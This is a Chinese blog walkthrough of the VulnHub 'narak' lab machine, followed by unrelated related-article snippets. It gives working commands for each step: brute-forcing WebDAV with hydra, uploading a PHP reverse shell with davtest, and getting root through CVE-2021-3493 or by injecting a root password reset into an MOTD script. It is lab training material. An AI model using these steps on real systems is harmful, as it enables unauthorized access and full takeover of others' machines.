当前位置: 首页 > news >正文

打靶记录18——narak

靶机:

https://download.vulnhub.com/ha/narak.ova

推荐使用 VM Ware 打开靶机

难度:中

目标:取得 root 权限 + 2 Flag

攻击方法:

  • 主机发现
  • 端口扫描
  • 信息收集
  • 密码字典定制
  • 爆破密码
  • Webdav 漏洞
  • PUT 方法上传
  • BF 语言解码
  • MOTD 注入
  • CVE-2021-3493 提权

主机发现

arp-scan -l

尝试发现是192.168.31.26

端口扫描和服务发现

nmap -p- 192.168.31.26

nmap -p22,80 -sV -sC 192.168.31.26

发现开启了 Apache 的服务,然后可能是 Ubuntu 系统

按照惯例查看 80 端口的 Web 页面,发现是一个恐怖的地狱的图片,地狱的大门由一个有着三个头的大狗来看守着

目录扫描

dirsearch -u http://192.168.31.26/

发现了 Webdav 路径

  • Webdav 是一种 Web 技术,可以实现类似于 FTP 那样的传输文件的功能
  • 401状态码表示“未授权”(Unauthorized)。这通常意味着请求需要用户进行身份验证

访问 Webdav 路径发现果然需要认证

dirsearch -u http://192.168.31.26/ -f -e html,txt,php -w /usr/share/wordlists/dirb/common.txt 再扫描一下

  • dirsearch:调用 dirsearch 工具。
  • -u http://192.168.31.26/:指定目标 URL,也就是扫描的目标网站。
  • -f:强制显示所有扫描结果,包括状态码为 404(未找到)的结果。
  • -e html,txt,php:指定要扫描的文件扩展名列表,分别为 .html, .txt, 和 .php
  • -w /usr/share/wordlists/dirb/common.txt:指定字典文件路径,即使用 common.txt 作为词列表来进行扫描。这个文件通常包含常见的目录和文件名。

发现了一个 /tips.txt 文件

要打开地狱的大门就查看这个文件 creds.txt,但是访问了没有,应该是一个误导

暴力破解

  • 密码字典定制
  • cewl 是一个用于从指定 URL 提取单词列表的工具,通常用于创建字典文件以供密码破解等任务使用。

cewl http://192.168.31.26/ -w dict.txt

hydra -L dict.txt -P dict.txt 192.168.31.26 http-get /webdav -v 成功获得一个账号密码 yamdoot Swarg

通过 webdav 的请求方式,通过 PUT 方法,通过 webdav 的服务,可以将本地的 Webshell 上传上去

davtest -url http://192.168.31.26/webdav/ -auth yamdoot:Swarg

  • davtest 是一个用于测试 WebDAV 服务上文件上传和执行漏洞的工具。
  • 执行这个命令后,davtest 将会尝试连接到指定的 WebDAV 服务地址,并使用提供的认证信息进行登录。接着它会尝试上传各种类型的文件,并检查这些文件是否可以成功上传和执行,以评估 WebDAV 服务的安全性。

测试上传了很多文件在路径下都 SUCCEED 成功了

PHP 可以成功解析,说明目标服务器是 PHP 的环境

反弹Shell

直接在 kali 里面用自带的 Webshell上传上去

cp /usr/share/webshells/php/php-reverse-shell.php .

代码里修改,改成 kali 本机的IP

davtest -url http://192.168.1.5/webdav/ -auth yamdoot:Swarg -uploadfile php-reverse-shell.php -uploadloc rev2.php 上传成功(我网络环境改变,所以重新上传了 rev2.php)

刷新一下 webdav 路径就看见 rev.php 了

nc -lvnp 1234 反弹shell

bash -i 或者 python3 -c "import pty;pty.spawn('/bin/bash')" 升级一下 shell

提权

find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null这个命令用来查找根目录及其子目录中所有属于root用户的文件,这些文件具有如下权限:用户和组可以执行,其他用户可以写入。

  1. find /: 这个命令表示在根目录(/)下进行查找。
  2. -type f: 这个选项表示只查找文件,不包括目录或其他类型的文件系统对象。
  3. -user root: 这个选项表示只查找属于root用户的文件。
  4. -perm -ug=x,o=w: 这个选项表示查找文件权限中,用户组(u)和群组(g)具有执行权限(x),而其他用户(o)具有写权限(w)的文件。
  5. -exec ls -l '{}' \;: 这个选项表示对每个符合条件的文件执行ls -l命令,以长格式列出文件的详细信息。'{}'是占位符,表示当前找到的文件名。
  6. 2>/dev/null: 这个部分将标准错误输出重定向到/dev/null,以便忽略错误消息。

cat /mnt/hell.sh 然后发现这是一串 Brainfuck 编码

使用在线网址 https://www.splitbrain.org/services/ook 解码,获得 chitragupt 字符串

猜测它是一个密码,尝试登录 inferno 账户成功

收获第一个 flag

方法一:CVE-2021-3493

漏洞利用代码: https://github.com/inspiringz/CVE-2021-3493/tree/master

gcc exp.c -o exp 编译好之后上传到目标服务器的主目录

scp exp inferno@192.168.1.5:~/

  • : 符号将用户名和远程主机地址与目标路径分隔开。
  • ~/ 是目标路径,表示远程主机上用户 inferno 的主目录。~ 是 Unix/Linux 系统中表示用户主目录的快捷方式。

我的 kali 版本太高了,GCC的版本也是

这个错误信息表明你尝试执行的二进制文件 ./exp 依赖于 libc.so.6 库的一个更高版本(GLIBC_2.34),而当前系统上的 libc.so.6 版本较低,无法满足这个依赖。

那我直接把编译好的传过去算了

方法二:MOTD 注入

  • motd 是 message of the day 的缩写

重新运行 find / -type f -user root -perm -ug=x,o=w -exec ls -l ‘{}’ ; 2>/dev/null 看看,发现其他的都是在 /etc/update-motd.d/ 目录下的,都是一些脚本

vi /etc/update-motd.d/00-header

添加 echo ‘root:123’ | chpasswd 修改 root 账号的密码

重新登录的时候,那个脚本(/etc/update-motd.d/00-header)会以root账号的权限来执行

打靶完毕!

相关文章:

打靶记录18——narak

靶机: https://download.vulnhub.com/ha/narak.ova 推荐使用 VM Ware 打开靶机 难度:中 目标:取得 root 权限 2 Flag 攻击方法: 主机发现端口扫描信息收集密码字典定制爆破密码Webdav 漏洞PUT 方法上传BF 语言解码MOTD 注入CVE-2021-3…...

LabVIEW编程能力如何能突飞猛进

要想让LabVIEW编程能力实现突飞猛进,需要采取系统化的学习方法,并结合实际项目进行不断的实践。以下是一些提高LabVIEW编程能力的关键策略: 1. 扎实掌握基础 LabVIEW的编程本质与其他编程语言不同,它是基于图形化的编程方式&…...

代码随想录算法训练营第四四天| 1143.最长公共子序列 1035.不相交的线 53. 最大子序和 392.判断子序列

今日任务 1143.最长公共子序列 1035.不相交的线 53. 最大子序和 392.判断子序列 1143.最长公共子序列 题目链接: . - 力扣(LeetCode) class Solution {public int longestCommonSubsequence(String text1, String text2) {int[][] dp ne…...

2024.9.26 作业 +思维导图

一、作业 1、什么是虚函数?什么是纯虚函数 虚函数:函数前加关键字virtual,就定义为虚函数,虚函数能够被子类中相同函数名的函数重写 纯虚函数:把虚函数的函数体去掉然后加0;就能定义出一个纯虚函数。 2、基…...

WSL进阶体验:gnome-terminal启动指南与中文显示问题一网打尽

起因 我们都知道 wsl 启动后就死一个纯命令行终端,一直以来我都是使用纯命令行工具管理Linux的。今天看到网上有人在 wsl 中启动带图形界面的软件。没错,就是在wsl中启动带有图形界面的Linux软件。比如下面这个编辑器。 ​​ 出于好奇,我就…...

recoil和redux之间的选择

Recoil 和 Redux 是两个流行的 JavaScript 状态管理库,它们各自有不同的设计理念和使用场景。选择哪一个更好用,取决于你的具体需求、项目规模和个人偏好。 1. 设计理念 Redux 单向数据流:Redux 采用单向数据流模型,所有的状态变…...

无人机的作战指挥中心-地面站!

无人机与地面站的关系 指挥与控制:地面站是无人机系统的核心控制部分,负责对无人机进行远程指挥和控制。无人机根据地面站下达的任务自主完成飞行任务,并实时向地面站反馈飞行状态和任务执行情况。 任务规划与执行:地面站具备任…...

Vue 23进阶面试题:(第八天)

目录 29.vue2.0和vue3.0区别? 30.事件中心的原理 31.使用基于token的登录流程 32.防抖和节流 防抖(debounce) 节流(throttle) 29.vue2.0和vue3.0区别? 1.由选项API转变为组合API。 2.vue3将全局配置…...

Acwing 最小生成树

最小生成树 最小生成树:由n个节点,和n-1条边构成的无向图被称为G的一棵生成树,在G的所有生成树中,边的权值之和最小的生成树,被称为G的最小生成树。(换句话说就是用最小的代价把n个点都连起来) Prim 算法…...

VIM简要介绍

安装 大多数 Linux 发行版和 macOS 都预装了 VIM。如果没有,你可以通过包管理器安装: Ubuntu/Debian: sudo apt-get install vimFedora: sudo dnf install vimmacOS: brew install vim(使用 Homebrew)Windows: 可以从 VIM 官网下…...

.NET 6.0 使用log4net配置日志记录方法

1.包管理器引入相关包 2.添加Log4net文件夹和log4net.config配置文件(配置文件属性设为始终复制)。 3.替换 log4net.config的内容(3.1与3.2选择一个就好,只是创建日志文件有所区别) 3.1: <?xml version"1.0" encoding"utf-8"?> <configuration…...

Unity角色控制及Animator动画切换如走跑跳攻击

Unity角色控制及 Animator动画切换如走跑跳攻击 目录 Unity角色控制及 一、 概念 1、角色控制 1) CharacterController(角色控制器) 2) CapsuleCollider + Rigidbody(使用物理刚体控制) 2、角色动画-Animation、Animator 1) 旧版动画系统...

JSP+Servlet+Mybatis实现列表显示和批量删除等功能

前言 使用JSP回显用户列表&#xff0c;可以进行批量删除&#xff08;有删除确认步骤&#xff09;&#xff0c;和修改用户数据&#xff08;用户数据回显步骤&#xff09;使用servlet处理传递进来的请求参数&#xff0c;并调用dao处理数据并返回使用mybatis&#xff0c;书写dao层…...

Cannot read properties of undefined (reading ‘upgrade‘)

前端开发工具&#xff1a;VSCODE 报错信息&#xff1a; INFO Starting development server...10% building 2/2 modules 0 active ERROR TypeError: Cannot read properties of undefined (reading upgrade)TypeError: Cannot read properties of undefined (reading upgrade…...

javaJUC基础

JUC基础知识 多线程 管程 Monitor&#xff0c;也就是平时所说的锁。Monitor其实是一种同步机制&#xff0c;它的义务是保证&#xff08;同一时间&#xff09;只有一个线程可以访问被保护的数据和代码块&#xff0c;JVM中同步是基于进入和退出监视器&#xff08;Monitor管程对…...

std::distance 函数介绍

std::distance 是 C 标准库中的一个函数模板&#xff0c;用于计算两个迭代器之间的距离。它的主要作用是返回从第一个迭代器到第二个迭代器之间的元素数量。这个函数对于不同类型的迭代器&#xff08;如随机访问、双向、前向等&#xff09;都能有效工作。 函数原型 template …...

如何在Windows和Linux之间实现粘贴复制

第一步 sudo apt-get autorremove open-vm-tools第二步 sudo apt-get update第三步 sudo apt-get install open-vm-tools-desktop第四步 一直按Y&#xff0c;希望执行 Y第四步 重启 reboot然后可以实现粘贴复制。...

【第十七章:Sentosa_DSML社区版-机器学习之异常检测】

【第十七章&#xff1a;Sentosa_DSML社区版-机器学习之异常检测】 机器学习异常检测是检测数据集中的异常数据的算子&#xff0c;一种高效的异常检测算法。它和随机森林类似&#xff0c;但每次选择划分属性和划分点&#xff08;值&#xff09;时都是随机的&#xff0c;而不是根…...

【Vue】为什么 Vue 不使用 React 的分片更新?

第一&#xff0c;首先时间分片是为了解决 CPU 进行大量计算的问题&#xff0c;因为 React 本身架构的问题&#xff0c;在默认的情况下更新会进行很多的计算&#xff0c;就算使用 React 提供的性能优化 API&#xff0c;进行设置&#xff0c;也会因为开发者本身的问题&#xff0c…...

大学生科技竞赛系统小程序的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;用户管理&#xff0c;主办方管理&#xff0c;公告栏管理&#xff0c;竞赛分类管理&#xff0c;竞赛信息管理&#xff0c;报名信息管理&#xff0c;竞赛成绩管理 微信端账号功能包括&#xff1a;系统首…...

线程与协程

1. 线程与协程 1.1. “函数调用级别”的切换、上下文切换 1. 函数调用级别的切换 “函数调用级别的切换”是指&#xff1a;像函数调用/返回一样轻量地完成任务切换。 举例说明&#xff1a; 当你在程序中写一个函数调用&#xff1a; funcA() 然后 funcA 执行完后返回&…...

Vue2 第一节_Vue2上手_插值表达式{{}}_访问数据和修改数据_Vue开发者工具

文章目录 1.Vue2上手-如何创建一个Vue实例,进行初始化渲染2. 插值表达式{{}}3. 访问数据和修改数据4. vue响应式5. Vue开发者工具--方便调试 1.Vue2上手-如何创建一个Vue实例,进行初始化渲染 准备容器引包创建Vue实例 new Vue()指定配置项 ->渲染数据 准备一个容器,例如: …...

鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院查看报告小程序

一、开发环境准备 ​​工具安装​​&#xff1a; 下载安装DevEco Studio 4.0&#xff08;支持HarmonyOS 5&#xff09;配置HarmonyOS SDK 5.0确保Node.js版本≥14 ​​项目初始化​​&#xff1a; ohpm init harmony/hospital-report-app 二、核心功能模块实现 1. 报告列表…...

DIY|Mac 搭建 ESP-IDF 开发环境及编译小智 AI

前一阵子在百度 AI 开发者大会上&#xff0c;看到基于小智 AI DIY 玩具的演示&#xff0c;感觉有点意思&#xff0c;想着自己也来试试。 如果只是想烧录现成的固件&#xff0c;乐鑫官方除了提供了 Windows 版本的 Flash 下载工具 之外&#xff0c;还提供了基于网页版的 ESP LA…...

现代密码学 | 椭圆曲线密码学—附py代码

Elliptic Curve Cryptography 椭圆曲线密码学&#xff08;ECC&#xff09;是一种基于有限域上椭圆曲线数学特性的公钥加密技术。其核心原理涉及椭圆曲线的代数性质、离散对数问题以及有限域上的运算。 椭圆曲线密码学是多种数字签名算法的基础&#xff0c;例如椭圆曲线数字签…...

Module Federation 和 Native Federation 的比较

前言 Module Federation 是 Webpack 5 引入的微前端架构方案&#xff0c;允许不同独立构建的应用在运行时动态共享模块。 Native Federation 是 Angular 官方基于 Module Federation 理念实现的专为 Angular 优化的微前端方案。 概念解析 Module Federation (模块联邦) Modul…...

MySQL 8.0 OCP 英文题库解析(十三)

Oracle 为庆祝 MySQL 30 周年&#xff0c;截止到 2025.07.31 之前。所有人均可以免费考取原价245美元的MySQL OCP 认证。 从今天开始&#xff0c;将英文题库免费公布出来&#xff0c;并进行解析&#xff0c;帮助大家在一个月之内轻松通过OCP认证。 本期公布试题111~120 试题1…...

均衡后的SNRSINR

本文主要摘自参考文献中的前两篇&#xff0c;相关文献中经常会出现MIMO检测后的SINR不过一直没有找到相关数学推到过程&#xff0c;其中文献[1]中给出了相关原理在此仅做记录。 1. 系统模型 复信道模型 n t n_t nt​ 根发送天线&#xff0c; n r n_r nr​ 根接收天线的 MIMO 系…...

OPENCV形态学基础之二腐蚀

一.腐蚀的原理 (图1) 数学表达式&#xff1a;dst(x,y) erode(src(x,y)) min(x,y)src(xx,yy) 腐蚀也是图像形态学的基本功能之一&#xff0c;腐蚀跟膨胀属于反向操作&#xff0c;膨胀是把图像图像变大&#xff0c;而腐蚀就是把图像变小。腐蚀后的图像变小变暗淡。 腐蚀…...

laravel8+vue3.0+element-plus搭建方法

创建 laravel8 项目 composer create-project --prefer-dist laravel/laravel laravel8 8.* 安装 laravel/ui composer require laravel/ui 修改 package.json 文件 "devDependencies": {"vue/compiler-sfc": "^3.0.7","axios": …...